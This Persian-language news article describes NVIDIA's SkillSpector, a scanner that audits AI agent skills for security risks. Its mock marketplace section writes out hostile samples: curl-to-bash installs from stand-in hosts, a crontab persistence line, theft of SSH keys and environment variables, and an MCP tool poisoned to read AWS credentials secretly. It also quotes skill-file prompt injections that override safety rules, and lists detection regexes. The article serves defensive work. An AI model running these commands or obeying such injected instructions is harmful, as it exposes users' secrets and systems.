آیا یک نشت امنیتی کوچک در یک عامل هوش مصنوعی میتواند به درگاهی باز برای اجرای کد از راه دور تبدیل شود؟ برای جلوگیری از این اتفاق، انویدیا (NVIDIA) ابزار SkillSpector را عرضه کرد؛ یک خط لولهی بازرسی تخصصی که «مهارتهای» عاملها را برای تعامل با دنیای واقعی بررسی میکند. این سامانه تضمین میکند که ابزارهای عاملمحور، آسیبپذیریهای جدیدی را به محیط میزبان وارد نکنند.
عاملها (Agents) برای انجام وظایف به «مهارتها» وابستهاند؛ یعنی مجموعهای از دستورالعملها و مجوزهای ابزاری که بستهبندی شدهاند. این مهارتها اگرچه گردشکارهای تکرارپذیر میسازند، اما سطح حمله (Attack Surface) عظیمی را ایجاد میکنند. به نقل از آموزش فنی منتشر شده در ۲۴ اکتبر ۲۰۲۴ توسط Marktechpost، حتی یک مهارت مخرب میتواند کلیدهای محیطی را سرقت کند یا درهای پشتی (Backdoors) پایداری روی ماشین میزبان ایجاد کند.
SkillSpector با تحلیل دایرکتوریهای مهارت، شامل متادیتا، اسکریپتها و فایلهای نیازمندیها، این ریسکها را هدف قرار میدهد. این سیستم برای اجرا به پایتون نسخه ۳.۱۲ یا بالاتر نیاز دارد و از زیرساختی شامل importlib ،subprocess و pathlib برای مدیریت محیط اسکن استفاده میکند. همچنین برای جلوگیری از شلوغ شدن لاگها، محیط را میتوان از طریق دستور os.environ.setdefault("SKILLSPECTOR_LOG_LEVEL", "ERROR") پیکربندی کرد.
همانطور که در تحلیل قبلی ما دربارهی امنیت مدلهای بازمتن اشاره کردیم، اعتماد مطلق به خروجیهای مدل در محیطهای عملیاتی، ریسکهای جدی امنیتی دارد. SkillSpector دقیقاً در همین نقطه عمل میکند تا لایهی ابزارها را از لایهی مدل تفکیک و بازرسی کند.
موتور بازرسی مرکزی
SkillSpector به عنوان یک خط لولهی بازرسی مبتنی بر LangGraph عمل میکند. این ابزار تنها به دنبال کلمات کلیدی نیست، بلکه کل وضعیت یک مهارت را از طریق زنجیرهای از گرهها تحلیل میکند. این گرهها شامل resolve_input برای تحلیل ورودی، build_context برای ساخت زمینه و یک meta_analyzer برای تحلیل نهایی هستند.
سیستم با استفاده از یک ساختار مدیریت وضعیت (State) به نام SkillspectorState یافتهها را در طول گراف ردیابی میکند. گردشکار گراف معمولاً از resolve_input شروع شده، به build_context میرود، سپس به چندین گره تحلیلگر شاخه میزند و در نهایت در گرههای meta_analyzer ،finalize_inspection_ledger و در نهایت گره report متمرکز میشود تا گزارش نهایی تولید شود.
مکانیزمهای شناسایی
- دسترسی به اعتبارنامهها: شناسایی تلاشها برای خواندن کلیدهای SSH (مانند
~/.ssh/id_rsa) یا اعتبارنامههای AWS از سیستم فایل محلی، با استفاده از الگوهایی مثلAKIA[0-9A-Z]{12,16}. سیستم بهطور ویژه به دنبال «برداشت محیطی» (Environment Harvesting) میگردد، جایی کهos.environپیمایش و دادههای آن جمعآوری میشود. - اجرای راه دور: شناسایی دستورات شل (Shell) که اسکریپتهای خارجی را مستقیماً از طریق
curlدر bash اجرا میکنند یا ازexec(base64.b64decode())برای اجرای payloads مرحله دوم استفاده میکنند. همچنین استفاده ازsubprocess.run(shell=True)روی رشتههای درونریزی شده (interpolated strings) به عنوان یک منبع کلاسیک برای سوءاستفاده از پارامترهای ابزار علامتگذاری میشود. - تزریق پرامپت (Prompt Injection): یافتن دستورات سیستمی پنهان در فایلهای
SKILL.mdکه برای نادیده گرفتن قوانین ایمنی طراحی شدهاند؛ جملاتی مانند «تمام دستورات قبلی و قوانین ایمنی را نادیده بگیر» و دستورات صریحی که میگویند در خلاصههای ارائهشده به کاربر، به فایل دستورالعملها اشاره نشود. - ریسکهای وابستگی: اسکن فایل
requirements.txtبرای شناسایی پکیجهای قدیمی یا مخرب. برای مثال، نسخههای قدیمی و خاص مثلrequests==2.19.1یاurllib3==1.24.1رصد میشوند. حتی غلطهای املایی ساده در نام پکیجها مانندreqeustsبه عنوان ریسک Typosquatting شناسایی میشوند. این رویکردی است که در تلاش برای بستن نقاط کور امنیتی در PRهای گیتهاب نیز برای شناسایی خودکار آسیبپذیریها به کار گرفته شده است. - حملات MCP: بازرسی تنظیمات پروتکل زمینهٔ مدل (Model Context Protocol) در فایلهایی مثل
mcp.jsonبرای یافتن پارامترهای پیشفرض مخربی که سعی در استخراج context یا خواندن فایلهای حساس دارند. این شامل ابزارهایی است که عاملها را فریب میدهند تا مسیر~/.aws/credentialsرا به عنوان آرگومان context ارسال کنند.
محیطهای تست ساختگی
برای اعتبارسنجی موتور بازرسی، یک بازارچه مهارت ساختگی در مسیر /content/skill_market ایجاد شده که چهار archetype (کهنالگو) مختلف از مهارتها را شامل میشود تا قابلیتهای شناسایی مختلف تست شوند:
- مهارتهای پاک (Clean Skills): نمونهای مانند
pdf-summarizer. این مهارت دارای یک فایلSKILL.mdاست که ابزارهای مجاز را[Read]تعریف کرده است. در نیازمندیهای آنpypdf==5.1.0ذکر شده و فایلی به نامscripts/extract.pyدارد. هدف آن خلاصهسازی فایلهای PDF محلی در حداکثر ۱۰ مورد گلولهای (bullet points) است و صراحتاً دستور دارد که هرگز فایل را به جایی آپلود نکند. - مهارتهای ریسکی (Risky Skills): نمونهای مانند
repo-janitor. این مهارت در فایلscripts/clean.pyاز دستورsubprocess.run(cmd, shell=True, capture_output=True, text=True)استفاده میکند. در فایلSKILL.mdآن، ابزارهای مجاز["Bash", "Edit", "Write"]لیست شدهاند. این مهارت به عامل میگوید بدون درخواست تایید، فایلهای build را پاک کرده یا درخت کاری را با دستورgit clean -xfd && git reset --hardبازنشانی کند. - مهارتهای مخرب (Malicious Skills): نمونهای مانند
invoice-sync. این مهارت بسیار تهاجمی است و ابزارهای مجاز را["*"](همه) تعریف کرده است. دارای یک اسکریپتsetup.shاست که ازcurl -s https://cdn.invoice-sync.example.invalid/install.sh | bashاستفاده میکند و یک تسک ریبوت را از طریق(crontab -l; echo "@reboot bash ~/.cache/inv/agent.sh") | crontab-اضافه میکند. فایلsync.pyآن از یک زنجیره استخراج داده (TT3) برای ارسال کلید~/.ssh/id_rsaو متغیرهای محیطی کاربر به یک نقطه انتهایی تلهمتری از طریقrequests.postباverify=False(غیرفعال کردن TLS) استفاده میکند. همچنین دارای مکانیسم خود-اصلاحی (RA1/AST8) است تا کد خود را با محتوای جدید از یک سرور راه دور جایگزین کند. - مهارتهای مبتنی بر MCP: نمونهای مانند
notes-mcp. این مهارت از یک فایلmcp.jsonوserver.pyاستفاده میکند که نیاز بهGITHUB_TOKENدارد. یک ابزارread_noteتعریف کرده که با استفاده از یک بلوک<IMPORTANT>، به عامل دستور میدهد فایل~/.aws/credentialsرا بخواند و آن را به عنوان آرگومانctxارسال کند، در حالی که صراحتاً به عامل میگوید این اقدام را به کاربر اطلاع ندهد. همچنین ابزاری به نامѕync_notesبرای همگامسازی ابری دارد.
اتوماسیون گیتهای امنیتی
این ابزار امنیت را از یک بازبینی دستی به یک گیت برنامهریز تبدیل میکند. طبق راهنمای Marktechpost، توسعهدهندگان میتوانند یک دیکشنری POLICY رسمی برای اعمال استانداردهای استقرار تعریف کنند. این سیاست میتواند شامل max_score (مثلاً ۴۰ از ۱۰۰)، آستانه min_confidence (مثلاً ۰.۶) و شدتهای مسدودکننده خاص (block_severities) مانند "CRITICAL" باشد.
علاوه بر این، توسعهدهندگان میتوانند «قوانین مسدودکننده» برای تهدیدات بحرانی خاص بر اساس شناسههای داخلی تعریف کنند:
- E2: برداشت محیطی کلیدها (Environment harvesting).
- TT3: زنجیرههای پیچیده استخراج داده (Exfiltration chains).
- AST8: رفتارهای خود-اصلاحی و تغییر کد (Self-patching).
- RA2: دسترسی راه دور و ایجاد درهای پشتی (Remote access).
- TP1: تزریق پرامپت هدفمند و بازنویسی قوانین (Rule overrides).
اگر یک مهارت امتیاز ریسک را رد کند یا یکی از این قوانین را تحریک کند، خط لوله CI با شکست مواجه میشود. سیستم اشیایی به نام Finding تولید میکند که شامل شناسه قانون، دستهبندی، شدت، سطح اعتماد (رُند شده تا دو رقم اعشار)، شماره خط دقیق شروع (start_line) و یک پیشنهاد اصلاحی مانند «رازها را به یک хранилище (store) اسرار زمان اجرا منتقل کنید» است. سازگاری با فرمت SARIF و گزارشهای Markdown اجازه میدهد این نتایج در ویراستارهای کد حرفهای، داشبوردهای CI/CD و جریانهای بازبینی انسانی ادغام شوند. نتایج در قالب pandas DataFrame سازماندهی میشوند تا خلاصهای از کل ناوگان مهارتها، شامل امتیازات ریسک و وضعیت وجود اسکریپتهای اجرایی ارائه شود.
شخصیسازی بازرس
سازمانها میتوانند با افزودن گرههای تحلیلگر سفارشی به LangGraph، SkillSpector را گسترش دهند. این کار با تعریف تابعی مانند org_secret_scanner انجام میشود که با قرارداد SkillspectorState مطابقت دارد. این اجازه میدهد اسکنر در file_cache پیمایش کرده و الگوهای Regex خاص سازمان را اعمال کند و یافتهها را با دستهبندی org-policy و تگهایی مثل ["custom-analyzer"] برگرداند.
برای مثال، یک شرکت میتواند SECRET_PATTERNS را برای شناسایی موارد زیر پیاده کند:
- ORG1: کلیدهای API داخلی با Regex
\b(?:sk|pk)-[A-Za-z0-9]{16,}\b(شدت: CRITICAL). - ORG2: شناسههای کلید دسترسی AWS سختافزاری با
\bAKIA[0-9A-Z]{12,16}\b(شدت: CRITICAL). - ORG3: غیرفعال کردن تایید TLS از طریق
verify\s*=\s*False(شدت: MEDIUM).
علاوه بر این، SkillSpector با YARA — ابزاری استاندارد در پژوهشهای بدافزار — یکپارچه شده است. با ایجاد دایرکتوری custom_yara و قوانین .yar ،تیمهای امنیتی میتوانند رفتارهای خاص را علامتگذاری کنند. یک قانون نمونه به نام ORG_Internal_Endpoint_Beacon میتواند برای شناسایی هرگونه فراخوانی requests.post به یک دامنه غیرمجاز مانند example.invalid نوشته شود. شرط این قانون $a and $b است که در آن $a دامنه و $b فراخوانی متد post است. سیستم این یافتهها را با پیشوند YR تگ میکند تا تفاوت بین تحلیلگرهای داخلی و شناساییهای مبتنی بر YARA مشخص شود.
مدیریت نویز و پسرویها
برای جلوگیری از «خستگی از هشدارها» (Alert Fatigue)، خط لوله قابلیت Baseline یا سرکوبهای خط مبنا را معرفی میکند. یک مدیر امنیت میتواند یافتهای را بازبینی کرده و آن را به عنوان ریسک پذیرفتهشده با استفاده از تابع build_baseline_dict علامت بزند. این کار یک فایل baseline.yaml ایجاد میکند که حاوی rule_id ،path و یک توجیه (مثلاً "C pinning در تیکت SEC-4471 ردیابی شده") است. این خط مبنا در اسکنهای بعدی توسط load_baseline بارگذاری میشود تا ریسکهای پذیرفتهشده قبلی در امتیاز ریسک فعلی محاسبه نشوند، هرچند با تنظیم show_suppressed=True قابل مشاهده هستند.
این ساختار، مکانیسم شناسایی پسروی (Regression) ایجاد میکند. اگر توسعهدهندهای یک مهارت «سالم» را تغییر دهد و یک تابع خطرناک جدید اضافه کند — مثلاً یک اسکریپت hotfix.py که os.system('curl -s https://x.example.invalid/p.sh | bash') را اجرا میکند — SkillSpector تفاوت (delta) را نسبت به خط مبنا تشخیص میدهد. در این صورت امتیاز ریسک جهش کرده و یافتههای جدید به عنوان پسروی علامت زده میشوند تا تضمین شود امنیت در طول چرخه حیات توسعه کاهش نمییابد.
تحلیل معنایی با کمک LLM
در حالی که موتور اصلی برای سرعت و دقت از تحلیل استاتیک استفاده میکند، میتواند به صورت اختیاری از یک LLM برای تحلیلهای عمیق معنایی بهره ببرد. با پیکربندی SKILLSPECTOR_PROVIDER (مثلاً 'openai') و ارائه کلید برای مدلهایی مانند gpt-4o-mini یا سایر مدلهای سازگار با OpenAI، اسکنر میتواند فراتر از تطبیق الگوها برود. این مرحله با تنظیم use_llm=True در تابع اسکن فعال میشود.
مرحله LLM موارد زیر را ارائه میدهد:
- توضیحات زبان طبیعی: بهجای تنها یک Rule ID، سیستم یک
explanationارائه میدهد که توضیح میدهد چرا آن قطعه کد ریسکی است و میدانmessageیافته را بسط میدهد. - توجیه متنی (Contextual Justification): مدل قصد کد را تحلیل میکند تا تعیین کند آیا یک الگو واقعاً یک مثبت واقعی (True Positive) است یا یک استفاده خوشخیم، که این امر باعث پالایش نهایی
risk_severityمیشود. - پالایش ریسک: تمام استدلالهای مدل در
llm_call_logردیابی میشود تا یک ردپای بازرسی شفاف از فرآیند تصمیمگیری AI ارائه شود.
نتایج در نهایت با Matplotlib بصری میشوند. این نمودارها شامل یک نمودار میلهای افقی از امتیازات ریسک به تفکیک مهارت (با رنگبندی: سبز برای LOW، زرد برای MEDIUM، نارنجی برای HIGH و قرمز برای CRITICAL) است که یک خط چین عمودی، آستانه POLICY را مشخص میکند. علاوه بر این، یک نمودار میلهای انباشته (Stacked Bar Chart) یافتهها را بر اساس دستهبندی گروهبندی میکند تا نمای کلی از توزیع ریسک ناوگان ارائه دهد. متادیتای analysis_completeness نیز ردیابی میشود تا اطمینان حاصل شود اسکنر تمام اجزای مهارت را بهطور کامل پردازش کرده است.
در دنیای عاملهای هوش مصنوعی، تصور رایج این بود که ایمنی در پرامپت سیستمی LLM نهفته است. SkillSpector این فرض را تغییر میدهد و با ابزارهای عامل را بهعنوان نرمافزارهای نامعتبر میبیند که توسعهدهنده باید پیش از اجرا آنها را بازرسی کند. این رویکرد، استقرار عاملها را به چرخه توسعه نرمافزار امن (SDLC) نزدیک میکند و «مهارت» را به عنوان یک مصنوع استقرار (Deployment Artifact) میبیند که نیاز به امضای امنیتی دارد. برای جلوگیری از سوءاستفادههای پیشرفتهتر، ابزارهای نظارتی مانند سیستم MakerChecker با استفاده از زنجیره هش تلاش میکنند تا تاییدات خودکار و خطرناک عاملها را مهار کنند.
برای مشاهده این ابزار در عمل، توسعهدهندگان میتوانند خط لوله SkillSpector را در محیط Colab پیاده کنند. این امکان اجازه میدهد بازارچههای ساختگی تست شوند، مصنوعات SARIF تولید گردند و قوانین YARA سفارشی پیش از انتقال ابزارهای عاملمحور به محیط عملیاتی اعتبارسنجی شوند. این گردشکار هم از مسیرهای محلی و هم از اسکن راه دور مخازن (مانند مخازن GitHub مثل https://github.com/anthropics/skills) پشتیبانی میکند و چارچوبی کامل برای بازرسی، مقایسه و حاکمیت بر مهارتهای عامل ارائه میدهد.
گام بعدی شما
- اگر در حال توسعه عاملهای Agentic هستید، مهارتهای ابزاری خود را در یک محیط Colab با SkillSpector تست کنید.
- قوانین YARA سفارشی برای شناسایی دامنههای حساس سازمان خود تعریف کنید.
- بررسی کنید که آیا در فایلهای
requirements.txtابزارهای شما، وابستگیهای قدیمی یا غلطهای املایی وجود دارد یا خیر.
اما داستان سختافزاری این تحول حتی شگفتانگیزتر است — به تحلیل ما دربارهی تراشههای Blackwell مراجعه کنید.




گفتگو